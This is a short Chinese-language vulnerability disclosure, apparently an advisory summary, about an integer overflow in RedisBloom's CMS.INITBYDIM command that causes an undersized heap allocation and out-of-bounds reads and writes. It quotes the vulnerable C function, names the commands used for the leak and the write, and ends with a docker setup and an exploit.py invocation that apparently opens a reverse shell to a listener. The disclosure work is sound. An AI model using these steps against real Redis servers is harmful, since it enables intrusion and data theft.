RedisBloom(https://github.com/RedisBloom/RedisBloom)中存在一个整数溢出漏洞,该模块用于 redis(https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/)中。该整数溢出漏洞允许攻击者(知道密码的 redis 客户端)由于回绕而在堆上分配比所需内存更少的内存。然后,可以在此分配的内存之外进行读写,导致信息泄露和越界写入。
该整数溢出位于 CMS.INITBYDIM 命令中,该命令将 Count-Min Sketch 初始化为用户指定的维度。它接受两个值(width 和 depth),并在 NewCMSketch() 中使用它们来分配内存。
文件:src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
通过 CMS.QUERY 命令(在 CMS_Query() 中实现)实现越界读取。
通过 CMS.INCRBY 命令(在 CMS_IncrBy() 中实现)实现越界写入。
完整分析请查看公告
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444